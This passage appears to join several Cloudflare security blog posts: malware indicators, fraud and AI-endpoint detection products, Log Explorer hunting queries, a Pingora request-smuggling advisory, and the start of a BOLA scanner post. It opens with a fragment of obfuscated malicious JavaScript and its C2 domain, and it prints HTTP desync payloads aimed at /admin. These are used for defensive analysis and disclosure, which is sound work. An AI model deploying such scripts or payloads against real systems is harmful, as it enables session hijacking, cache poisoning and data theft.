g6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW','encode','gWYAY','mckDW','createDataChannel'];
const _0x4b08=function(_0x5cc416,_0x2b0c4c){_0x5cc416=_0x5cc416-0x1d5;let _0xd00112=_0x1581[_0x5cc416];return _0xd00112;};
(function(_0x3ff841,_0x4d6f8b){const _0x45acd8=_0x4b08;while(!![]){try{const _0x1933aa=-parseInt(_0x45acd8(0x275))*-parseInt(_0x45acd8(0x264))+-parseInt(_0x45acd8(0x1ff))+parseInt(_0x45acd8(0x25d))+-parseInt(_0x45acd8(0x297))+parseInt(_0x45acd8(0x20c))+parseInt(_0x45acd8(0x26e))+-parseInt(_0x45acd8(0x219))*parseInt(_0x45acd8(0x26c));if(_0x1933aa===_0x4d6f8b)break;else _0x3ff841['push'](_0x3ff841['shift']());}catch(_0x8e5119){_0x3ff841['push'](_0x3ff841['shift']());}}}(_0x1581,0x842ab));

This is exactly the kind of sophisticated, zero-day threat that a static signature-based WAF would miss but our structural and semantic AI approach catches.

• URL: hxxps://ns[.]qpft5[.]com/ads/core[.]js

• SHA-256: 4f2b7d46148b786fae75ab511dc27b6a530f63669d4fe9908e5f22801dea9202

• C2 Domain: hxxps://api[.]qpft5[.]com

Today we are making domain-based threat intelligence available to all Cloudflare Client-Side Security customers, regardless of whether you use the Advanced offering.

In 2025, we saw many non-enterprise customers affected by client-side attacks, particularly those customers running webshops on the Magento platform. These attacks persisted for days or even weeks after they were publicized. Small and medium-sized companies often lack the enterprise-level resources and expertise needed to maintain a high security standard.

By providing domain-based threat intelligence to everyone, we give site owners a critical, direct signal of attacks affecting their users. This information allows them to take immediate action to clean up their site and investigate potential origin compromises.

To begin, simply enable Client-Side Security with a toggle in the dashboard. We will then highlight any JavaScript or connections associated with a known malicious domain.

To learn more about Client-Side Security Advanced pricing, please visit the plans page. Before committing, we will estimate the cost based on your last month’s HTTP requests, so you know exactly what to expect.

Client-Side Security Advanced has all the tools you need to meet the requirements of PCI DSS v4 as an e-commerce merchant, particularly 6.4.3 and 11.6.1. Sign up today in the dashboard.

Website owners need the tools to stop abuse on their website, no matter who it’s coming from.

During our Birthday Week in 2024, we gifted leaked credentials detection to all customers, including everyone on a Free plan. Since then, we've added account takeover detection IDs as part of our bot management solution to help identify bots attacking your login pages. 

Now, we’re combining these powerful tools with new ones. Disposable email check and email risk help you enforce security preferences for users who sign up with throwaway email addresses, a common tactic for fake account creation and promotion abuse, or whose emails are deemed risky based on email patterns and infrastructure. We’re also thrilled to introduce Hashed User IDs — per-domain identifiers generated by cryptographically hashing usernames — that give customers better insight into suspicious account activity and greater ability to mitigate potentially fraudulent traffic, without compromising end user privacy.

The new capabilities we’re announcing today go beyond automation, identifying abusive behavior and risky identities among human users and bots. Account Abuse Protection is available in Early Access, and any Bot Management Enterprise customer can use these features at no additional cost for a limited period, until the general availability of Cloudflare Fraud Prevention later this year. If you want to learn more about this Early Access capability, sign up here.

The barrier to entry for fraudulent behavior is dangerously low, especially with the availability of massive datasets and access to automated tools that commit account fraud at scale. Website owners aren’t just dealing with individual hackers, but industrialized fraud. Last year, we highlighted how 41% of logins across our network use leaked credentials. This number has only grown following the exposure of a database holding 16 billion records, and multiple high-profile breaches have since come to light. 

What’s more, users reuse passwords across multiple platforms, meaning a single leak from years ago can still unlock a high-value retail or even a bank account today. Our leaked credential check is a free feature that checks whether a password has been leaked in a known data breach of another service or application on the Internet. This is a privacy-preserving credential checking service that helps protect our users from compromised credentials, meaning Cloudflare performs these checks without accessing or storing plaintext end user passwords. Passwords are hashed — i.e., converted into a random string of characters using a cryptographic algorithm — for the purpose of comparing them against a database of leaked credentials. If you haven’t already turned on our leaked credential check, enable it now to keep your accounts safe from easy hacks!

Access to a large database of leaked credentials is only useful if an attacker can cycle through them quickly across many sites to identify which accounts are still vulnerable due to password reuse. In our Black Friday analysis in 2024, we observed that more than 60% of traffic to login pages across our network was automated. That’s a lot of bots trying to break in.

To help customers protect their login endpoints from constant bombardment, we added account takeover (ATO)-specific detections to highlight suspicious traffic patterns. This is part of our recent focus on per-customer detections, in which we provide behavioral anomaly detection unique to each bot management customer. Today, bot management customers can see and mitigate attempted ATO attacks in their login requests directly on the Security analytics dashboard.

^{In the card on the left within the Security analytics dashboard, you can view and address attempted account takeover attacks.}

In the last week, our ATO detections combined caught an average of 6.9 billion suspicious login attempts daily, across our network. These ATO detections, along with the many other detection mechanisms in our bot management solution, create a layered defense against ATO and other malicious automated attacks.

To discern automation, or to discern intent and identity? That is the question. Our answer: yes and yes, as both are critical layers of a robust security posture. Attackers now operate at a scale previously reserved for enterprise services: they leverage massive credential leaks, use human-powered fraud farms to spoof devices and locations, and create synthetic identities to maintain thousands — even millions — of fake accounts for promotion and platform abuse. A human being with automated tools could be draining accounts, abusing promotions, committing payment fraud, or all of the above.

Beyond that, automation is accessible like never before, particularly as users become better acquainted with using AI agents and even long-standing, “traditional” browsers move toward having agentic capabilities by default. Whether it’s a lone actor using an AI agent or a coordinated fraud campaign, the threat isn’t as simple as a single script — it can involve human intent, with automated execution.

Consider the following scenarios we’ve heard from our customers:

• We have 1,000 new users this month, but more than half of them are fake identities who benefit from a free trial, then disappear.

• The attacker logged in with the correct password, so how do I know that it isn’t the real user?

• This entity is acting at human pace, and they are draining accounts.

These problems can't be solved by only assessing automation; they require checking for authenticity and integrity. This is the gap that our dedicated fraud prevention capabilities address.

Let’s start by assessing the earliest point of potential account abuse: account creation. Fake or bulk account creation is one of the biggest topics in conversations about website fraud, as it can open the door for attackers to access an application — or even an entire business model. 

Cloudflare is giving customers the tools to assess suspicious account creation at the source in two ways:

1. Disposable email check: Detect when users sign up with disposable, or throwaway, email addresses commonly used for promotion abuse and fake account creation. These disposable email services allow attackers to spin up thousands of "unique" accounts without maintaining real infrastructure, particularly unauthenticated disposable emails that provide instant access without account creation or free unlimited email aliases. Customers can use this binary field as they build rules to enforce security preferences, choosing to block all disposable emails outright, or perhaps issuing a challenge to anyone attempting to create an account with a disposable email.

   

2. Email risk: Cloudflare analyzes email patterns and infrastructure to provide risk tiers (low, medium, high) that customers can use in security rules. We know that not all email addresses are created equal; an address with the format firstname.lastname@knowndomain.com carries different risk characteristics than xk7q9m2p@newdomain.xyz. Email risk tiers allow customers to express their tolerance for risk and friction at the point of account creation. 

Both disposable email check and email risk are now available in security analytics and security rules, equipping website owners to protect their account creation flow. These detections address a fundamental problem: by the time an account is committing abuse, it's already too late. The website owner has already paid acquisition costs, the fraudulent user has consumed promotional credits, and remediation requires manual review. Mitigating suspicious emails means adding the appropriate friction at signup — the moment it matters most.

Understanding patterns of abuse requires visibility: not only into the network, but of account activity. Traditionally, security has meant looking through the lens of IPs and isolated HTTP requests to spot automated activity, but website owners aren’t just thinking in terms of network signals; they are also considering their users and known accounts. That’s why we’re expanding our mitigation toolbox to match the way applications are actually structured, focusing on user-based detection of fraudulent activity.

Attackers can effortlessly rotate IPs to hide their tracks. But forcing them to repeatedly generate new, credible accounts introduces massive friction, especially when combined with account creation protections. When we look past the network layer and map fraudulent actions to a given compromised or abusive account, we can spot targeted behavior tied to a single, persistent actor and put a stop to the abuse. In this way, we’re shifting the defense strategy to the account level, instead of playing whack-a-mole with rotating IP addresses and residential proxies. This means that our customers can mitigate abusive behavior based on the way their applications separate identity.

To arm website owners with this capability, Cloudflare is releasing a Hashed User ID that customers can use in Security analytics, Security rules, and Managed Transforms. User IDs are per-domain, cryptographically hashed versions of the values in the username field, and each user ID is an encrypted, unique, and stable identifier generated for a given username on a customer application. Importantly, the actual username is not logged or stored by Cloudflare as part of this service. As with leaked credentials check and ATO detections, which identify login traffic and then encrypt credentials for comparison, we are prioritizing end user privacy while empowering our customers to take action against fraudulent behavior.

With access to Hashed User IDs, website owners can:

• See top users: Which accounts have the most activity?

• See when a unique user logs in from a country they usually don’t — or multiple countries in one day!

• Mitigate traffic based on unique user, such as blocking a user with historically suspicious activity.

• Combine fields to see when accounts are being targeted with leaked credentials.

• See what network patterns or signals are associated with unique users.

^{The expanded view of a single Hashed User ID within the Security analytics dashboard, showing the activity details of that unique user, including their login location and their browser.} 

This user-level visibility transforms how website owners can investigate and mitigate traffic. Instead of examining individual requests in isolation, our customers can see the full picture of how attackers are targeting and hiding among legitimate users.

If you want to learn more about this Early Access capability, sign up here. All Bot Management Enterprise customers are eligible to add these new Account Abuse Protection features today, and we’d love to open the conversation with any and all prospective Bot Management customers.

While bot detections will continue to answer the question of automation and intent, fraud detections delve into the question of authenticity. Together, they give website owners comprehensive tools to fight against the full spectrum of account abuse. This suite is one step in our ongoing investment to protect the entire user journey — from account creation and login to secure checkouts and the integrity of every interaction.

We’re shipping with new capabilities like detection for custom topics, and we're making AI endpoint discovery free for every Cloudflare customer—including those on Free, Pro, and Business plans—to give everyone visibility into where AI is deployed across their Internet-facing apps.

We're also announcing an expanded collaboration with IBM, which has chosen Cloudflare to deliver AI security to its cloud customers. And we’re partnering with Wiz to give mutual customers a unified view of their AI security posture.

Traditional web applications have defined operations: check a bank balance, make a transfer. You can write deterministic rules to secure those interactions. 

AI-powered applications and agents are different. They accept natural language and generate unpredictable responses. There's no fixed set of operations to allow or deny, because the inputs and outputs are probabilistic. Attackers can manipulate large language models to take unauthorized actions or leak sensitive data. Prompt injection, sensitive information disclosure, and unbounded consumption are just a few of the risks cataloged in the OWASP Top 10 for LLM Applications.

These risks escalate as AI applications become agents. When an AI gains access to tool calls—processing refunds, modifying accounts, providing discounts, or accessing customer data—a single malicious prompt becomes an immediate security incident.

Customers tell us what they’re up against. "Most of Newfold Digital's teams are putting in their own Generative AI safeguards, but everybody is innovating so quickly that there are inevitably going to be some gaps eventually,” says Rick Radinger, Principal Systems Architect at Newfold Digital, which operates Bluehost, HostGator, and Domain.com.

We built AI Security for Apps to address this. It sits in front of your AI-powered applications, whether you're using a third-party model or hosting your own, as part of Cloudflare's reverse proxy. It helps you (1) discover AI-powered apps across your web property, (2) detect malicious or off-policy behavior to those endpoints, and (3) mitigate threats via the familiar WAF rule builder.

Before you can protect your LLM-powered applications, you need to know where they're being used. We often hear from security teams who don’t have a complete picture of AI deployments across their apps, especially as the LLM market evolves and developers swap out models and providers. 

AI Security for Apps automatically identifies LLM-powered endpoints across your web properties, regardless of where they’re hosted or what the model is. Starting today, this capability is free for every Cloudflare customer, including Free, Pro, and Business plans. 

^{Cloudflare’s dashboard page of web assets, showing 2 example endpoints labelled as cf-llm}

Discovering these endpoints automatically requires more than matching common path patterns like /chat/completions. Many AI-powered applications don't have a chat interface: think product search, property valuation tools, or recommendation engines. We built a detection system that looks at how endpoints behave, not what they're called. To confidently identify AI-powered endpoints, sufficient valid traffic is required.

AI-powered endpoints that have been discovered will be visible under Security → Web Assets, labeled as cf-llm. For customers on a Free plan, endpoint discovery is initiated when you first navigate to the Discovery page. For customers on a paid plan, discovery occurs automatically in the background on a recurring basis. If your AI-powered endpoints have been discovered, you can review them immediately.

AI Security for Apps detections follow the always-on approach for traffic to your AI-powered endpoints. Each prompt is run through multiple detection modules for prompt injection, PII exposure, and sensitive or toxic topics. The results—whether the prompt was malicious or not—are attached as metadata you can use in custom WAF rules to enforce your policies. We are continuously exploring ways to leverage our global network, which sees traffic from roughly 20% of the web, to identify new attack patterns across millions of sites before they reach yours.

The product ships with built-in detection for common threats: prompt injections, PII extraction, and toxic topics. But every business has its own definition of what's off-limits. A financial services company might need to detect discussions of specific securities. A healthcare company might need to flag conversations that touch on patient data. A retailer might want to know when customers are asking about competitor products.

The new custom topics feature lets you define these categories. You specify the topic, we inspect the prompt and output a relevance score that you can use to log, block, or handle however you decide. Our goal is to build an extensible tool that flexes to your use cases.

^{Prompt relevance score inside of AI Security for Apps}

AI Security for Apps enforces guardrails before unsafe prompts can reach your infrastructure. To run detections accurately and provide real-time protection, we first need to identify the prompt within the request payload. Prompts can live anywhere in a request body, and different LLM providers structure their APIs differently. OpenAI and most providers use $.messages[*].content for chat completions. Anthropic's batch API nests prompts inside $.requests[*].params.messages[*].content. Your custom property valuation tool might use $.property_description.

Out of the box, we support the standard formats used by OpenAI, Anthropic, Google Gemini, Mistral, Cohere, xAI, DeepSeek, and others. When we can't match a known pattern, we apply a default-secure posture and run detection on the entire request body. This can introduce false positives when the payload contains fields that are sensitive but don't feed directly to an AI model, for example, a $.customer_name field alongside the actual prompt might trigger PII detection unnecessarily.

Soon, you'll be able to define your own JSONPath expressions to tell us exactly where to find the prompt. This will reduce false positives and lead to more accurate detections. We're also building a prompt-learning capability that will automatically adapt to your application's structure over time.

Once a threat is identified and scored, you can block it, log it, or deliver custom responses, using the same WAF rules engine you already use for the rest of your application security. The power of Cloudflare’s shared platform is that you can combine AI-specific signals with everything else we know about a request, represented by hundreds of fields available in the WAF. A prompt injection attempt is suspicious. A prompt injection attempt from an IP that’s been probing your login page, using a browser fingerprint associated with previous attacks, and rotating through a botnet is a different story. Point solutions that only see the AI layer can’t make these connections.

This unified security layer is exactly what they need at Newfold Digital to discover, label, and protect AI endpoints, says Radinger: “We look forward to using it across all these projects to serve as a fail-safe."

AI Security for Applications will also be available through Cloudflare's growing ecosystem, including through integration with IBM Cloud. Through IBM Cloud Internet Services (CIS), end users can already procure advanced application security solutions and manage them directly through their IBM Cloud account. 

We're also partnering with Wiz to connect AI Security for Applications with Wiz AI Security, giving mutual customers a unified view of their AI security posture, from model and agent discovery in the cloud to application-layer guardrails at the edge.

AI Security for Apps is available now for Cloudflare’s Enterprise customers. Contact your account team to get started, or see the product in action with a self-guided tour.

If you're on a Free, Pro, or Business plan, you can use AI endpoint discovery today. Log in to your dashboard and navigate to Security → Web Assets to see which endpoints we've identified. Keep an eye out — we plan to make all AI Security for Apps capabilities available for customers on all plans soon.

For configuration details, see our documentation.

To stop these multi-vector attacks, you need the full picture. By using Cloudflare Log Explorer to conduct security forensics, you get 360-degree visibility through the integration of 14 new datasets, covering the full surface of Cloudflare’s Application Services and Cloudflare One product portfolios. By correlating telemetry from application-layer HTTP requests, network-layer DDoS and Firewall logs, and Zero Trust Access events, security analysts can significantly reduce Mean Time to Detect (MTTD) and effectively unmask sophisticated, multi-layered attacks.

Read on to learn more about how Log Explorer gives security teams the ultimate landscape for rapid, deep-dive forensics.

The contemporary digital landscape requires deep, correlated telemetry to defend against adversaries using multiple attack vectors. Raw logs serve as the "flight recorder" for an application, capturing every single interaction, attack attempt, and performance bottleneck. And because Cloudflare sits at the edge, between your users and your servers, all of these events are logged before the requests even reach your infrastructure. 

Cloudflare Log Explorer centralizes these logs into a unified interface for rapid investigation.

Focus: Website traffic, security events, and edge performance.

Focus: Internal security, Zero Trust, administrative changes, and network activity.

Get granular application layer visibility with HTTP Requests, Firewall Events, and DNS logs to see exactly how traffic is hitting your public-facing properties. Track internal movement with Access Requests, Gateway logs, and Audit logs. If a credential is compromised, you’ll see where they went. Use Magic IDS and Network Analytics logs to spot volumetric attacks and "East-West" lateral movement within your private network.

Attackers use scanners and other tools to look for entry points, hidden directories, or software vulnerabilities. To identify this, using Log Explorer, you can query http_requests for any EdgeResponseStatus codes of 401, 403, or 404 coming from a single IP, or requests to sensitive paths (e.g. /.env, /.git, /wp-admin). 

Additionally, magic_ids_detections logs can also be used to identify scanning at the network layer. These logs provide packet-level visibility into threats targeting your network. Unlike standard HTTP logs, these logs focus on signature-based detections at the network and transport layers (IP, TCP, UDP). Query to discover cases where a single SourceIP is triggering multiple unique detections across a wide range of DestinationPort values in a short timeframe. Magic IDS signatures can specifically flag activities like Nmap scans or SYN stealth scans.

While the attacker is conducting reconnaissance, they may attempt to disguise this with a simultaneous network flood. Pivot to network_analytics_logs to see if a volumetric attack is being used as a smokescreen.

Once attackers identify a potential vulnerability, they begin to craft their weapon. The attacker sends malicious payloads (e.g. SQL injection or large/corrupt file uploads) to confirm the vulnerability. Review http_requests and/or fw_events to identify any Cloudflare detection tools that have triggered. Cloudflare logs security signals in these datasets to easily identify requests with malicious payloads using fields such as WAFAttackScore, WAFSQLiAttackScore, FraudAttack, ContentScanJobResults, and several more. Review our documentation to get a full understanding of these fields. The fw_events logs can be used to determine whether these requests made it past Cloudflare’s defenses by examining the action, source, and ruleID fields. Cloudflare’s managed rules by default blocks many of these payloads by default. Review Application Security Overview to know if your application is protected.

^{Showing the Managed rules Insight that displays on Security Overview if the current zone does not have Managed Rules enabled}

Did that suspicious IP manage to log in? Use the ClientIP to search access_requests. If you see a "Decision: Allow" for a sensitive internal app, you know you have a compromised account.

Attackers sometimes use DNS tunneling to bypass firewalls by encoding sensitive data (like passwords or SSH keys) into DNS queries. Instead of a normal request like google.com, the logs will show long, encoded strings. Look for an unusually high volume of queries for unique, long, and high-entropy subdomains by examining the fields: QueryName: Look for strings like h3ldo293js92.example.com, QueryType: Often uses TXT, CNAME, or NULL records to carry the payload, and ClientIP: Identify if a single internal host is generating thousands of these unique requests.

Additionally, attackers may attempt to leak sensitive data by hiding it within non-standard protocols or by using common protocols (like DNS or ICMP) in unusual ways to bypass standard firewalls. Discover this by querying the magic_ids_detections logs to look for signatures that flag protocol anomalies, such as "ICMP tunneling" or "DNS tunneling" detections in the SignatureMessage.

Whether you are investigating a zero-day vulnerability or tracking a sophisticated botnet, the data you need is now at your fingertips.

Investigate malicious activity across multiple datasets by pivoting between multiple concurrent searches. With Log Explorer, you can now work with multiple queries simultaneously with the new Tabs feature. Switch between tabs to query different datasets or Pivot and adjust queries using filtering via your query results.

When you correlate data across multiple Cloudflare log sources, you can detect sophisticated multi-stage attacks that appear benign when viewed in isolation. This cross-dataset analysis allows you to see the full attack chain from reconnaissance to exfiltration.

Scenario: A user authenticates via Cloudflare Access, but their subsequent HTTP_request traffic looks like a bot.

Step 1: Identify high-risk sessions in http_requests.

SELECT RayID, ClientIP, ClientRequestUserAgent, BotScore
FROM http_requests
WHERE date = '2026-02-22' 
  AND BotScore < 20 
LIMIT 100

Step 2: Copy the RayID and search access_requests to see which user account is associated with that suspicious bot activity.

SELECT Email, IPAddress, Allowed
FROM access_requests
WHERE date = '2026-02-22' 
  AND RayID = 'INSERT_RAY_ID_HERE'

Scenario: An employee clicked a link in a phishing email which resulted in compromising their workstation. This workstation sends a DNS query for a known malicious domain, then immediately triggers an IDS alert.

Step 1: Find phishing attacks by examining email_security_alerts for violations. 

SELECT Timestamp, Threatcategories, To, Alertreason
FROM email_security_alerts
WHERE date = '2026-02-22' 
  AND Threatcategories LIKE 'phishing'

Step 2: Use Access logs to correlate the user’s email (To) to their IP Address.

SELECT Email, IPAddress
FROM access_requests
WHERE date = '2026-02-22' 

Step 3: Find internal IPs querying a specific malicious domain in gateway_dns logs.

SELECT SrcIP, QueryName, DstIP, 
FROM gateway_dns
WHERE date = '2026-02-22' 
  AND SrcIP = 'INSERT_IP_FROM_PREVIOUS_QUERY'
  AND QueryName LIKE '%malicious_domain_name%'

Scenario: A user logs in via Zero Trust and then tries to scan the internal network.

Step 1: Find successful logins from unexpected locations in access_requests.

SELECT IPAddress, Email, Country
FROM access_requests
WHERE date = '2026-02-22' 
  AND Allowed = true 
  AND Country != 'US' -- Replace with your HQ country

Step 2: Check if that IPAddress is triggering network-level signatures in magic_ids_detections.

SELECT SignatureMessage, DestinationIP, Protocol
FROM magic_ids_detections
WHERE date = '2026-02-22' 
  AND SourceIP = 'INSERT_IP_ADDRESS_HERE'

From the beginning, Log Explorer was designed with extensibility in mind. Every dataset schema is defined using JSON Schema, a widely-adopted standard for describing the structure and types of JSON data. This design decision has enabled us to easily expand beyond HTTP Requests and Firewall Events to the full breadth of Cloudflare's telemetry. The same schema-driven approach that powered our initial datasets scaled naturally to accommodate Zero Trust logs, network analytics, email security alerts, and everything in between.

More importantly, this standardization opens the door to ingesting data beyond Cloudflare's native telemetry. Because our ingestion pipeline is schema-driven rather than hard-coded, we're positioned to accept any structured data that can be expressed in JSON format. For security teams managing hybrid environments, this means Log Explorer could eventually serve as a single pane of glass, correlating Cloudflare's edge telemetry with logs from third-party sources, all queryable through the same SQL interface. While today's release focuses on completing coverage of Cloudflare's product portfolio, the architectural groundwork is laid for a future where customers can bring their own data sources with custom schemas.

To investigate a multi-vector attack effectively, timing is everything. A delay of even a few minutes in the log availability can be the difference between proactive defense and reactive damage control.

That is why we have optimized our ingestion for better speed and resilience. By increasing concurrency in one part of our ingestion path, we have eliminated bottlenecks that could cause “noisy neighbor” issues, ensuring that one client’s data surge doesn’t slow down another’s visibility. This architectural work has reduced our P99 ingestion latency by approximately 55%, and our P50 by 25%, cutting the time it takes for an event at the edge to become available for your SQL queries.

^{Grafana chart displaying the drop in ingest latency after architectural upgrades}

We're just getting started. We're actively working on even more powerful features to further enhance your experience with Log Explorer, including the ability to run these detection queries on a custom defined schedule. 

^{Design mockup of upcoming Log Explorer Scheduled Queries feature}

Subscribe to the blog and keep an eye out for more Log Explorer updates soon in our Change Log. 

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The vulnerabilities are CVE-2026-2833, CVE-2026-2835, and CVE-2026-2836. These issues were responsibly reported to us by Rajat Raghav (xclow3n) through our Bug Bounty Program.

Cloudflare’s CDN and customer traffic were not affected, our investigation found. No action is needed for Cloudflare customers, and no impact was detected. 

Due to the architecture of Cloudflare’s network, these vulnerabilities could not be exploited: Pingora is not used as an ingress proxy in Cloudflare’s CDN.

However, these issues impact standalone Pingora deployments exposed to the Internet, and may enable an attacker to:

• Bypass Pingora proxy-layer security controls

• Desync HTTP request/responses with backends for cross-user hijacking attacks (session or credential theft)

• Poison Pingora proxy-layer caches retrieving content from shared backends

We have released Pingora 0.8.0 with fixes and hardening. While Cloudflare customers were not affected, we strongly recommend users of the Pingora framework to upgrade as soon as possible.

The reports described a few different HTTP/1 attack payloads that could cause desync attacks. Such requests could cause the proxy and backend to disagree about where the request body ends, allowing a second request to be “smuggled” past proxy‑layer checks. The researcher provided a proof-of-concept to validate how a basic Pingora reverse proxy misinterpreted request body lengths and forwarded those requests to server backends such as Node/Express or uvicorn.

Upon receiving the reports, our engineering team immediately investigated and validated that, as the reporter also confirmed, the Cloudflare CDN itself was not vulnerable. However, the team did also validate that vulnerabilities exist when Pingora acts as the ingress proxy to shared backends.

By design, the Pingora framework does allow edge case HTTP requests or responses that are not strictly RFC compliant, because we must accept this sort of traffic for customers with legacy HTTP stacks. But this leniency has limits to avoid exposing Cloudflare itself to vulnerabilities.

In this case, Pingora had non-RFC-compliant interpretations of request bodies within its HTTP/1 stack that allowed these desync attacks to exist. Pingora deployments within Cloudflare are not directly exposed to ingress traffic, and we found that production traffic that arrived at Pingora services were not subject to these misinterpretations. Thus, the attacks were not exploitable on Cloudflare traffic itself, unlike a previous Pingora smuggling vulnerability disclosed in May 2025.

We’ll explain, case-by-case, how these attack payloads worked.

The first report showed that a request with an Upgrade header value would cause Pingora to pass through subsequent bytes on the HTTP connection immediately, before the backend had accepted an upgrade (by returning 101 Switching Protocols). The attacker could thus pipeline a second HTTP request after the upgrade request on the same connection:

GET / HTTP/1.1
Host: example.com
Upgrade: foo


GET /admin HTTP/1.1
Host: example.com

Pingora would parse only the initial request, then treat the remaining buffered bytes as the “upgraded” stream and forward them directly to the backend in a “passthrough” mode due to the Upgrade header (until the response was received).

This is not at all how the HTTP/1.1 Upgrade process per RFC 9110 is intended to work. The subsequent bytes should only be interpreted as part of an upgraded stream if a 101 Switching Protocols header is received, and if a 200 OK response is received instead, the subsequent bytes should continue to be interpreted as HTTP.

^{An attacker that sends an Upgrade request, then pipelines a partial HTTP request may cause a desync attack. Pingora will incorrectly interpret both as the same upgraded request, even if the backend server declines the upgrade with a 200.}

Via the improper pass-through, a Pingora deployment that received a non-101 response could still forward the second partial HTTP request to the upstream as-is, bypassing any Pingora user‑defined ACL-handling or WAF logic, and poison the connection to the upstream so that a subsequent request from a different user could improperly receive the /admin response.

^{After the attack payload, Pingora and the backend server are now “desynced.” The backend server will wait until it thinks the rest of the partial /attack request header that Pingora forwarded is complete. When Pingora forwards a different user’s request, the two headers are combined from the backend server’s perspective, and the attacker has now poisoned the other user’s response.}

We’ve since patched Pingora to switch the interpretation of subsequent bytes only once the upstream responds with 101 Switching Protocols.

We verified Cloudflare was not affected for two reasons:

1. The ingress CDN proxies do not have this improper behavior.

2. The clients to our internal Pingora services do not attempt to pipeline HTTP/1 requests. Furthermore, the Pingora service these clients talk directly with disables keep-alive on these Upgrade requests by injecting a Connection: close header; this prevents additional requests that would be sent — and subsequently smuggled — over the same connection.

The reporter also demonstrated what appeared to be a more classic “CL.TE” desync-type attack, where the Pingora proxy would use Content-Length as framing while the backend would use Transfer-Encoding as framing:

GET / HTTP/1.0
Host: example.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:

In the reporter’s example, Pingora would treat all subsequent bytes after the first GET / request header as part of that request’s body, but the node.js backend server would interpret the body as chunked and ending at the zero-length chunk. There are actually a few things going on here:

1. Pingora’s chunked encoding recognition was quite barebones (only checking for whether Transfer-Encoding was “chunked”) and assumed that there could only be one encoding or Transfer-Encoding header. But the RFC only mandates that the final encoding must be chunked to apply chunked framing. So per RFC, this request should have a chunked message body (if it were not HTTP/1.0 — more on that below).

2. Pingora was also not actually using the Content-Length (because the Transfer-Encoding overrode the Content-Length per RFC). Because of the unrecognized Transfer-Encoding and the HTTP/1.0 version, the request body was instead treated as close-delimited (which means that the response body’s end is marked by closure of the underlying transport connection). An absence of framing headers would also trigger the same misinterpretation on HTTP/1.0. Although response bodies are allowed to be close-delimited, request bodies are never close-delimited. In fact, this clarification is now explicitly called out as a separate note in RFC 9112.

3. This is an HTTP/1.0 request that did not define Transfer-Encoding. The RFC mandates that HTTP/1.0 requests containing Transfer-Encoding must “treat the message as if the framing is faulty” and close the connection. Parsers such as the ones in nginx and hyper just reject these requests to avoid ambiguous framing.

^{When an attacker pipelines a partial HTTP request header after the HTTP/1.0 + Transfer-Encoding request, Pingora would incorrectly interpret that partial header as part of the same request, rather than as a distinct request. This enables the same kind of desync attack as described in the premature Upgrade example.}

This spoke to a more fundamental misreading of the RFC particularly in terms of response vs. request message framing. We’ve since fixed the improper multiple Transfer-Encoding parsing, adhere strictly to the request length guidelines such that HTTP request bodies can never be considered close-delimited, and reject invalid Content-Length and HTTP/1.0 + Transfer-Encoding request messages. Further protections we’ve added include rejecting CONNECT requests by default because the HTTP proxy logic doesn’t currently treat CONNECT as special for the purposes of CONNECT upgrade proxying, and these requests have special message framing rules. (Note that incoming CONNECT requests are rejected by the Cloudflare CDN.)

When we investigated and instrumented our services internally, we found no requests arriving at our Pingora services that would have been misinterpreted. We found that downstream proxy layers in the CDN would forward as HTTP/1.1 only, reject ambiguous framing such as invalid Content-Length, and only forward a single Transfer-Encoding: chunked header for chunked requests.

The researcher also reported one other cache poisoning vulnerability regarding default CacheKey construction. The naive default implementation factored in only the URI path (without other factors such as host header or upstream server HTTP scheme), which meant different hosts using the same HTTP path could collide and poison each other’s cache.

This would affect users of the alpha proxy caching feature who chose to use the default CacheKey implementation. We have since removed that default, because while using something like HTTP scheme + host + URI makes sense for many applications, we want users to be careful when constructing their cache keys for themselves. If their proxy logic will conditionally adjust the URI or method on the upstream request, for example, that logic likely also must be factored into the cache key scheme to avoid poisoning.

Internally, Cloudflare’s default cache key uses a number of factors to prevent cache key poisoning, and never made use of the previously provided default.

If you use Pingora as a proxy, upgrade to Pingora 0.8.0 at your earliest convenience.

We apologize for the impact this vulnerability may have had on Pingora users. As Pingora earns its place as critical Internet infrastructure beyond Cloudflare, we believe it’s important for the framework to promote use of strict RFC compliance by default and will continue this effort. Very few users of the framework should have to deal with the same “wild Internet” that Cloudflare does. Our intention is that stricter adherence to the latest RFC standards by default will harden security for Pingora users and move the Internet as a whole toward best practices.

- 2025‑12‑02: Upgrade‑based smuggling reported via bug bounty.

- 2026‑01‑13: Transfer‑Encoding / HTTP/1.0 parsing issues reported.

- 2026-01-18: Default cache key construction issue reported.

- 2026‑01‑29 to 2026‑02‑13: Fixes validated with the reporter. Work on more RFC-compliance checks continues.

- 2026-02-25: Cache key default removal and additional RFC checks validated with researcher.

- 2026‑03-02: Pingora 0.8.0 released.

- 2026-03-04: CVE advisories published.

We thank Rajat Raghav (xclow3n) for the report, detailed reproductions, and verification of the fixes through our bug bounty program. Please see the researcher's corresponding blog post for more information.

We would also extend a heartfelt thank you to the Pingora open source community for their active engagement, issue reports, and contributions to the framework. You truly help us build a better Internet.

That’s why today, we are launching the beta of Cloudflare’s Web and API Vulnerability Scanner. 

We are starting with the most pervasive and difficult-to-catch threat on the OWASP API Top 10: Broken Object Level Authorization, or BOLA. We will add more vulnerability scan types over time, including both API and web application threats.

The most dangerous API vulnerabilities today aren’t generic injection attacks or malformed requests that a WAF can easily spot. They are logic flaws—perfectly valid HTTP requests that meet the protocol and application spec but defy the business logic.

To find these, you can’t just wait for an attack. You have to actively hunt for them.

The Web and API Vulnerability Scanner will be available first for API Shield customers. Read on to learn why we are focused on API security scans for this first release.

In the web application world, vulnerabilities often look like syntax errors. A SQL injection attempt looks like code where data should be. A cross-site scripting (XSS) attack looks like a script tag in a form field. These have signatures.

API vulnerabilities are different. To illustrate, let’s imagine a food delivery mobile app that communicates solely with an API on the backend. Let’s take the orders endpoint:

Endpoint Definition: /api/v1/orders

In a broken authorization attack like BOLA, User A (the attacker) requests to update the delivery address of a paid-for order belonging to User B (the victim). The attacker simply inserts User B’s {order_id} in the PATCH request.

Here is what that request looks like, with ‘8821’ as User B’s order ID. Notice that User A is fully authenticated with their own valid token:

PATCH /api/v1/orders/8821 HTTP/1.1
Host: api.example.com
Authorization: Bearer <User_A_Valid_Token>
